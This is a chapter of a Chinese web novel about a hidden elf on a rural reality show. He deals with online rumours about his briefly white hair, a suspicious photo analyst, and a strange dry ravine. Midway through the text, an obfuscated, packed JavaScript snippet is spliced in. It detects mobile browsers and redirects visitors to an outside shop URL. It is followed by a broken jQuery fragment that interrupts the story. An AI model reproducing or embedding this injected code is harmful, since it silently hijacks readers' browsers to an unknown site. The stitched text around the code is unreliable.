雨是后半夜停的。
陆清槐天不亮就醒了。他推开院门，一股被雨洗透的草木味扑过来，山尖上还压着云，东边却已经透出一线白。院坝里积着水，大黄从窝里钻出来，抖了一身水点子，凑过来蹭他的手。
他回屋拿了锯子和柴刀，又找了根绳子往腰上一别——今天的第一件事，修树。
老歪脖槐树冠太大，雨里断了一根枯杈，剩下的枯杈不锯掉，下次刮风还得砸人。
他刚把院门拉开，门口蹲着个人。
林野。
这人蹲在门槛边上，手里拎着个塑料袋，袋里是两个还冒热气的肉包子，看见门开，抬头冲他乐："早啊哥。我说来蹭饭，你院门不开，我蹲这儿等了——"他看了眼手机，"二十三分钟。"
"你可以喊。"
"我喊了，狗先应的。"林野站起来，拍裤子上的泥，目光在他脸上转了一圈，又落到他鬓角，停了半秒。
头发黑的。压回去了。
林野什么也没问，把塑料袋塞他怀里："吃。镇上新开的包子铺，排队买的。"
陆清槐看了他一眼。
"看什么，"林野别开脸，"顺路。"
锯子架上树杈的时候，苏晚的声音从廊下飘过来："都起来了！雨停了，今天两件事——菜园排水复查，歪脖槐修杈。修树注意安全，机器跟着，这也是好镜头。"
方驰叼着个馒头出来，抬头一看，愣了："哥，你上树？"
陆清槐已经踩着树瘤上去了。老歪脖槐歪了几十年，树身斜着长，他找几个凸起的树节当脚点，手一搭、脚一蹬，三两下就上了两丈高，稳得跟在平地上走似的。腰上绳子一甩，绕过树干，系了个活扣。
"不是，"方驰仰头仰得帽子都掉了，"你这个身手，你跟我说你是种菜的？"
"种菜也要上树。"树上传下来声音，"丝瓜爬架，南瓜上房。"
"……行，我竟无法反驳。"
周建国搬了个小板凳坐在廊下指挥，手里端着缸子茶："树杈不能瞎锯！枯死的、劈裂的、往屋顶伸的，先锯这三样。锯的时候下口偏下一点，留个短桩子，它好收口——跟人伤口似的，你齐根给它削平了，它反倒烂心。"
"知道了周老师。"树上应了一声。
"你知道什么，"周建国抿了口茶，"我们那会儿插队，队里有棵老枣树，结的枣儿又脆又甜，知青们馋，拿杆子打枣，连枝带杈折一地。第二年开春，那棵树死了。老乡心疼得直跺脚，说枣树也是有脾气的，你光顾着吃，不管它疼不疼。"
廊下静了静。
"后来我就懂了，"周建国放下缸子，"人跟树打交道，不能光想着从它身上拿。你替它修枝，它替你挂果，这是互相的。"
树上那人锯子停了一瞬。
"说得对。"陆清槐的声音从树叶子里传出来，"修枝是帮它。枯死的杈不走，养份往那儿白费，好枝子倒饿着。"
"听听！"周建国冲一院子人，"种菜种出哲理——"
"不是哲理。"树上打断他，"树就这么长。"
周建国笑骂了一句"臭小子"，端起茶缸子，眼角却堆着褶子。
柴刀先上，把细枯枝一根根剔下来，枯枝"噼里啪啦"往下掉。江苓本来在树下举着手机拍，一根枯枝冲着她脑门落下来，她"呀"地一声跳开，落地精准踩进水洼，泥水溅了一裤腿。
"江苓姐，"陶陶抱着一捆落枝，真诚地说，"你躲树枝的样子，像在玩神庙逃亡。"
"你闭嘴。"
"我在夸你身手矫健！"
陆清槐在树上听见了，低头往下看了一眼。隔了一会儿，一根粗点的枯枝锯到一半，他忽然停手，冲树下喊："都让开。"
方驰一把拽开江苓，陶陶抱着树枝连滚带爬退出去三步——
"咔嚓。"
枯杈断开，砸在刚才江苓站的位置，泥水溅起半人高。
满院子静了一瞬。
"……谢谢哥。"江苓脸都白了。
"谢方驰。"树上说，"他拽的你。"
方驰愣了一下，随即挺起胸脯："听见没！关键时候还得是我——"
"你拽我那一下，"江苓慢慢转头，"把我胳膊都掐红了。"
"……那也是救驾！"
林野靠在门框上看得直乐，手里还替陆清槐抱着锯下来的树杈，冲方驰喊："方老师，你这个反应速度，不进应急队可惜了。"
"是吗？"方驰挠头。
"可惜他们不要睁眼瞎。"
"……"
树修到一半，林野的手机震了。
他掏出来看了一眼，脸上的笑慢慢收了。
微博热搜，尾巴上挂着一条，正在往上爬——#山间的日子陆清槐白发#。
点进去，置顶的是一条游客发的微博，九张图，画质糊得像隔着水帘洞拍的：雨幕里一个人影从泥地上飞扑出去，斗笠滚在一边，半张侧脸，鬓角那一块——
白的。
配文："昨天去山间的日子拍摄村玩，赶上大雨，亲眼看见剧组一个帅哥救人！速度快到离谱！但是……有没有人告诉我，他这个头发是怎么回事？？最后一张放大看！！"
转发一千二，评论三千。
林野往下划评论。
"我靠我靠我靠，最后一张真的是白的？"
"光线问题吧，雨天+逆光，黑发拍出来发灰很正常"
"前面的你管这叫发灰？这叫一缕银白！跟挑染似的！"
"路人插句嘴：我就在现场，雨大得睁不开眼，什么都看不清，这图能信？"
"我把亮度拉满了，兄弟们，真的有白丝……不是，白发"
"所以有没有一种可能，哥是天生少白头？我表弟小学三年级就有白头发"
"少白头+这张脸，更带感了怎么回事"
"两派先别吵，他自己微博昨天发了'桃。软了。'，你们不去评论区团建在这儿破案？"
林野截了个图，抬头冲树上喊："哥。"
"嗯。"
"你火上浇油了。"
树上没动静。过了几秒，陆清槐低头："说人话。"
林野把手机举高，转过去让他看屏幕："昨天拍你的糊照片，上网了。他们在吵你头发白不白。"
树上那人看了两秒。
"拍得不好。"陆清槐说，"斗笠都歪了。"
"……"林野深吸一口气，"哥，现在的重点是斗笠吗？重点是你的头发！"
"头发黑的。"
"可照片上——"
"雨大。"
林野张了张嘴，又闭上。他盯着屏幕上那张糊照看了三秒，再抬头看树上那人——鬓角黑得跟墨一样，被晨光一照，连根白丝都找不出来。
行吧。
他把手机揣回兜里，三下五除二点开自己的微博大号，转发了那条游客微博，配文：
"作为天天在这个村蹭饭的人，我证明：我哥头发好黑，黑得发亮，雨大，我亲眼看见的。（后半句没有，我那天没在）"
发送。
三分钟后，评论区：
"林野老师你括号里的也太诚实了哈哈哈哈"
"'我那天没在'是什么新型辟谣方式"
"别人辟谣靠证据，林野辟谣靠坦诚"
"不管了，我站光线派！雨天拍照你们自己试试，黑发拍出来能泛灰！"
"真变派在此集结——他抬眼那张，瞳孔颜色都不对"
"瞳孔都出来了？糊成马赛克了你能看出瞳孔？建议去眼科"
苏晚比林野更早看到热搜。
她在监视器后面坐了十分钟，打了两个电话。第一个打给镇上的民宿，让制片去跟那位游客"聊聊"——游客是个二十出头的姑娘，一听节目组来了，抱着手机退了三步："我不删！这是我拍的！原创！"
制片把话带回来，苏晚揉着眉心，说了句："不删就不删。"
第二个电话打给宣传。挂了电话，她端着两杯茶走到院坝边。
陆清槐正坐在树墩上磨柴刀，刀刃在磨石上"唰啦、唰啦"地走。
苏晚把一杯茶放在他手边的树桩上，没急着说话，看他磨了几下刀，才开口："昨天那雨里的素材，我删了。卡也格式化了。小赵那边，我处理过了。"
"嗯。"
"网上那些照片，画质太糊，掀不起大浪，我让它自己凉。"她顿了顿，"但我得问你一句——"
陆清槐磨刀的手没停。
"我不问你是什么人。"苏晚说，"那是你的事。我就问一句：以后还会不会有？"
刀在磨石上走完最后一下。他把柴刀举起来，对着光看了看刃口，声音平平的："会。"
苏晚沉默了几秒，竟然笑了一下："行。你够实在。"
"这山不一样了。"他把刀别回腰上，端起那杯茶，"以后雨天，我少出门。"
"少出门不够。"苏晚伸出一根手指，点了点他头上——他今天没戴斗笠，鬓角黑得整整齐齐，"帽子。下次出门，帽子给我戴稳了。我们节目组别的没有，帽子管够。"
"成。"
她转身往回走，走了两步又停下，头也不回："陆清槐。"
"嗯？"
"节目还得录。"她说，"你人在哪儿，镜头就在哪儿——这事儿改不了。所以咱俩得配合好：你替我出画面，我替你挡麻烦。"
"多谢。"他说。
苏晚摆摆手走了。陆清槐坐在树墩上，端着茶，看着她的背影，忽然觉得这个人类女人做事情的路数，跟精灵王庭那些老灵植师有点像——不打听你的根脚，只把眼前的地种好。
半小时后，《山间的日子》官博发了条新微博——九张图，雨后院子的高清花絮：陆清槐站在槐树下仰头看锯下来的树杈，斗笠挂在树枝上，鬓角清清楚楚，黑的。
配文："雨后修树。关于头发：光线问题。雨天拍照，谁拍谁白。"
这条微博发出去两个小时，评论歪到了姥姥家：
"光线问题哈哈哈哈官方下场定性"
"学到了，我明天上班迟到也说是光线问题"
"我考试挂科：光线问题，卷子太白了反光"
"我胖了十斤：光线问题，镜头畸变"
"大黄胖得像个梨：光线问题（有图为证）"
"周老师白头发那么多，是不是也是光线问题？"
#光线问题# 词条被网友玩成了万能梗，一路爬上热搜榜，跟#山间的日子陆清槐白发# 肩并肩挂着，一个认真破案，一个胡说八道，吵成一锅粥。
中午这顿饭，是林野蹭上的。
他自来熟地搬了个小马扎往嘉宾长桌边一挤。陶陶眼尖，扯着嗓子就喊："苏导！多个人多双筷子！"
画外音顿了一秒，传来苏晚的声音："吃吧。你最近在我节目里出镜率比方驰还高，也该交伙食费了。"
碗筷很快添上，林野捧着碗，一脸真诚：，"我这人没别的优点，就是下饭。有我在，你们嘉宾都能多吃半碗。"
"这话倒是真的。"方驰扒着饭点头，"他每次一来，哥做的菜都多两个。"
今天的菜是雨后收的番茄、空心菜，还有一大盆蘑菇炖鸡——昨天采的榛蘑，沈眉蹲灶前炖了一上午。陶陶吃得头都不抬，含混不清地宣布："这鸡……这鸡比我命都值钱。"
"你命值几个钱？"江苓问。
"刚毕业，"陶陶认真想了想，"负的。还欠公司培训费。"
满桌子笑。
林野笑完，想起什么，从裤兜里摸出个手机递到陆清槐面前："哥，你那条'桃。软了。'，现在多少转了你猜？"
"不猜。"
"十六万。"林野把手机杵到他眼皮底下，"评论区三万条，热评第一是'哥你知不知道你现在是什么身份'。"
"什么身份？"
"'桃系爱豆'。"
陆清槐夹菜的筷子停了一下："桃……什么？"
"爱——豆。"林野一字一顿，"就是……粉丝捧出来的那种，大明星。"
"我种桃的。"陆清槐说。
"对！"林野一拍大腿，"所以是'桃系'。你自己评评理，这称号贴不贴？"
他想了想："我种的是猕猴桃。"
满桌子又是一场笑。方驰笑得直拍桌子："哥！重点！抓重点！"
"重点是，"陆清槐把一块鸡肉夹进林野碗里，"吃你的。"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916307|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吃完饭，修完树下来，陆清槐坐在树墩子上喝水，江苓蹲在旁边刷手机，笑得直不起腰。
"清槐哥，"她把手机递给他，"你看，他们说你的白头发是光线问题。"
陆清槐看了一会儿，忽然问："他们为什么争这个？"
"啊？"
"头发白不白，"他挺困惑，"跟他们有什么关系？白了就不看节目了？"
江苓被问住了。
旁边方驰凑过来："哥，这你就不懂了，这叫颜值粉的信仰之战。你想啊，你是他们封的'山系美人'，美人的每一根头发都归粉丝管。"
"头发白了，"陆清槐想了想，"就不美了？"
"不是！白了更——"江苓话说一半刹住，"……反正就是，大家不是真在乎你头发，是在乎'参与感'。全网一起破一个案，破不破得出来不重要，重要的是一起破。"
陆清槐沉默了一会儿。
"跟赶集一样。"他说，"不一定买东西，就图人多。"
"……"江苓缓缓转头看方驰，"他这个总结，我怎么觉得比我们传播学老师讲得明白。"
方驰点头："哥现在是懂流量了。"
"我不懂流量。"陆清槐把水喝完，站起来，"我懂赶集。"
镇上，民宿。
夹克中年人没看热搜。
他在看照片。
游客那条微博里的九张图，被他一帧一帧截下来，导进电脑里。他有一套软件，是花了大价钱买的专业修复工具，糊片进去，能一帧一帧把细节推出来。
屏幕上，雨幕里的那张侧脸慢慢清晰。
斗笠是歪的。泥水是飞的。但鬓角那一缕——
他把画面放大到四百倍。
那一缕头发，从发根到发梢，颜色是匀的。不是雨水打湿后贴在头皮上的错觉，不是逆光勾出来的轮廓光，是从头发里面透出来的、匀匀的一线白。
他又调出第二张、第三张，同一个位置，同一个颜色。
中年人靠回椅背上，半天没动。
手机响了。他接起来，听那头问了几句，才开口："照片我处理过了。"
"结果？"
"不是光线。"他盯着屏幕，慢慢地说，"头发确实变色了。变色的范围很小，就鬓角一缕，前后不超过两秒。"
那头沉默了一会儿："你的意思是，染的？"
"染的头发，根和梢一个色，雨一淋会花。"他说，"这个不是。这个是从里面透出来的，像……"
他顿了顿，没找到合适的词。
"像什么？"
"像墨自己褪了色，"中年人说，"又自己染回去了。"
电话那头笑了一声，像是觉得荒唐。中年人没笑。他把最后一帧定格——陆清槐抬眼看方驰的那一瞬。画质太糊，眼睛只剩一个模糊的点，可那个点的颜色，他盯着看了很久，拿不准，又放不下。
"我查了他的底，二十来天前才有的身份证，之前一片空白。"他说，"空白我见得多了，山里没出过门的老人都这样。可一个人能在两秒里换头发的颜色——这个，我没见过。"
"你想怎么办？"
"再看看。"他合上电脑，"节目第二期还没播。我等。"
下午，陆清槐出了趟门。
"去哪？"林野问。
"看沟。"
林野二话没说跟上了。
龙脖子沟在村子西边，两座山夹出来的一道深沟，沟口窄，里面深，林子密得连日光都透不进去。村里人世代绕着走，说沟里"走不通"，牛羊都不往那边赶。
两人在沟口停下来。
雨刚停，山上到处都是水，草叶尖上挂着水珠，踩一脚"咕叽"一声。可龙脖子沟的沟沿——
陆清槐蹲下去。
沟沿上那一圈草，发黄。
不是被水泡烂的黄，是被抽干了水分的黄，蔫巴巴贴在地上，像一排站着睡着的人。他伸手摸了一把土。
表层是湿的。指甲往下抠了半寸——
干的。
雨下了整整一夜，山都泡透了，这条沟的土，下半截是干的。
"这沟邪性。"林野蹲在他旁边，声音不自觉压低了，"我爷爷在世的时候说过，龙脖子沟是'旱沟'，天涝它不涝，天旱它更旱，水到了沟口就没了，像被什么喝了。还有人说进去过的人发懵，走半天又转回原地——"
他说着，自己先打了个寒颤。
陆清槐没说话。他闭上眼，感知放出去，顺着土脉往沟里探——
雨后的灵脉是活的，丝丝缕缕的灵气在土里走，像水在河床里走。走到龙脖子沟的边界，那些灵气忽然加速，一丝一丝往里涌，像水冲进了一口看不见底的井。
他的感知跟着往里探了三尺。
然后被轻轻顶了回来。
不是挡住。是……吞进去，又吐出来，带着一股说不清的、极深极沉的东西，像井底有什么，在他指尖上呼了一口气。
陆清槐睁开眼。
"走吧。"他站起来。
"看出什么了？"林野问。
"沟渴。"
"沟还能渴？这不下了一夜雨吗？"
"下了一夜，"陆清槐回头看了一眼那道黑黢黢的沟口，"它没喝着。"
往回走的路上，天放晴了。
夕阳把村子照得金灿灿的，家家户户烟囱冒烟，远处传来陶陶喊"开饭了"的声音。陆清槐走在田埂上，手里拎着半路上给陈伯摘的一把野葱。
刚到村口，小卖部王大爷从柜台后面探出头："清槐！"
"哎。"
"镇上来人了！"王大爷冲他挤眼睛，"找你！在你院门口等着呢。"
"谁？"
"不认识。"王大爷想了想，"穿西装，打领带，开小车，白得跟没下过地似的。说是啥……星途公司。"
林野脚步顿了一下，跟陆清槐对视一眼。
"哥，"林野把野葱从他手里接过去，"这回来的，不是游客。"
陆清槐望着自家院门口的方向。那儿确实停着一辆锃亮的黑车，车边上站着个西装笔挺的人，正跟小赵比划着什么——小赵扛着机器，一个字没接，只是把镜头默默地、默默地转了个方向，对准了那辆黑车。